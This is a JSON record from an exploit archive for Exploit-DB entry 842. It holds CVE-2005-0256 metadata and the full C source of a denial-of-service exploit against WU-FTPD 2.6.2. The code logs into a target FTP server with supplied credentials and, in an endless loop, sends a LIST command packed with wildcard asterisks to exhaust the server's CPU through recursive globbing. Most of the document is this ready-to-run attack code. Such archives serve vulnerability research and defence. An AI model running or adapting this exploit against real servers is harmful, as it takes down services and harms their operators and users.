{"exploit":{"id":"EDB-842","name":"WU-FTPD 2.6.2 - File Globbing Denial of Service (DoS)","description":"WU-FTPD 2.6.2 - File Globbing Denial of Service (DoS)","cves":["CVE-2005-0256"],"author":"str0ke","published":"2005-02-25","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/842","path":"exploits/linux/dos/842.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-842.c","vulnerabilities":[{"id":"CVE-2005-0256","state":"PUBLISHED","title":null,"titleSource":null,"description":"The wu_fnmatch function in wu_fnmatch.c in wu-ftpd 2.6.1 and 2.6.2 allows remote attackers to cause a denial of service (CPU exhaustion by recursion) via a glob pattern with a large number of * (wildcard) characters, as demonstrated using the dir command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0256","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0256"},"updatedAt":"2024-08-07T21:05:25.485Z","retrievedAt":"2026-11-27T04:08:32.496Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-842.png?v=2","url":"https://exploitbin.com/exploits/EDB-842","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-842/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-842/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * wu-ftpd <= 2.6.2 File Globbing DoS\n * str0ke@milw0rm.com\n *\n * Advisory: http://www.idefense.com/application/poi/display?id=207&type=vulnerabilities&flashstatus=true\n *\n * Adam Zabrocki (pi3 / pi3ki31ny) is credited with this discovery.\n */\n\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#define SERVER_PORT 21\nusage(char *name)\n{\nprintf(\"usage: %s -h hostname/ip -u user -p passwd\\n\",name);\nprintf(\"\\t\\t/str0ke!milw0rm.com wu-ftpd <= 2.6.2 File Globbing DoS\\n\");\nexit(0);\n}\n\nmain(int argc, char *argv[]) {\n char buffer[1000],host[255],user[255],pass[255],c;\n int sd, rc, i=0;\n struct sockaddr_in localAddr, servAddr;\n struct hostent *h;\n\nif ( argc < 3) {\nusage(argv[0]);\n}\n\nwhile ((c = getopt (argc, argv, \"h:u:p:\")) != EOF)\n       switch(c)\n       {\n               case 'h':\n                       strncpy(host,optarg,sizeof(host));\n                       break;\n               case 'u':\n                       strncpy(user,optarg,sizeof(user));\n                       break;\n               case 'p':\n                       strncpy(pass,optarg,sizeof(pass));\n                       break;\n       }\n\nwhile(1) {\n\n h = gethostbyname(host);\n if(h==NULL) {\n   printf(\"unknown host '%s'\\n\",host);\n   exit(1);\n }\n\n servAddr.sin_family = h->h_addrtype;\n memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);\n servAddr.sin_port = htons(SERVER_PORT);\n sd = socket(AF_INET, SOCK_STREAM, 0);\n if(sd<0) {\n   perror(\"cannot open socket \");\n   exit(1);\n }\n\n localAddr.sin_family = AF_INET;\n localAddr.sin_addr.s_addr = htonl(INADDR_ANY);\n localAddr.sin_port = htons(0);\n\n rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));\n if(rc<0) {\n   printf(\"%d: cannot bind port TCP %u\\n\",sd,SERVER_PORT);\n   perror(\"error \");\n   exit(1);\n }\n\n printf(\"Trying To Connect To [%s]\\n\",host);\n rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));\n if(rc<0) {\n   perror(\"cannot connect \");\n   exit(1);\n }\n   printf(\"Trying Login With [%s]\\n\",user);\n   snprintf(buffer,sizeof(buffer), \"USER %s\\r\\n\", user);\n   rc = send(sd, buffer, strlen(buffer), 0);\n   memset(buffer,0,sizeof(buffer));\n\nwhile(1)\n       {\n       rc=recv(sd,buffer,sizeof(buffer),0);\n       if(strstr(buffer,\"331\")) break;\n       if(strstr(buffer,\"421\"))\n               {\n               printf(\"Access Denied on your arse..\\n\");\n               exit(0);\n               }\n       }\n\n   printf(\"Sending Pass - [%s]\\n\",pass);\n   memset(buffer,0,sizeof(buffer));\n   snprintf(buffer,sizeof(buffer), \"PASS %s\\r\\n\", pass);\n   rc = send(sd,buffer, strlen(buffer), 0);\n\nwhile(1)\n       {\n       rc=recv(sd,buffer,sizeof(buffer),0);\n       if(strstr(buffer,\"230\")) break;\n       if(strstr(buffer,\"421\"))\n               {\n               printf(\"Access Denied on your arse..\\n\");\n               exit(0);\n               }\n\n       if(strstr(buffer,\"530\"))\n               {\n               printf(\"Access Denied: Login Incorrect!\\n\");\n               exit(0);\n               }\n}\n\n   memset(buffer,0,sizeof(buffer));\n   snprintf(buffer,sizeof(buffer), \"LIST ***********************************************************************************************************************************************************************************************.*\\r\\n\");\n   rc = send(sd,buffer, strlen(buffer), 0);\n   printf(\"Dos Sent\\n\");\n\n}\n\n   if(rc<0) {\n     perror(\"cannot send data \");\n     close(sd);\n     exit(1);\n   }\nreturn 0;\n}\n\n// milw0rm.com [2005-02-25]","sha256":"a9ce585e1f1b6c47ec5bd6b6f4f261eb0bc570fbbd1bd56773cb29b6b7ec7ffc","bytes":3534,"fetchedAt":"2026-11-27T04:08:30.540Z","encoding":"utf-8 (display only; download retains original bytes)"}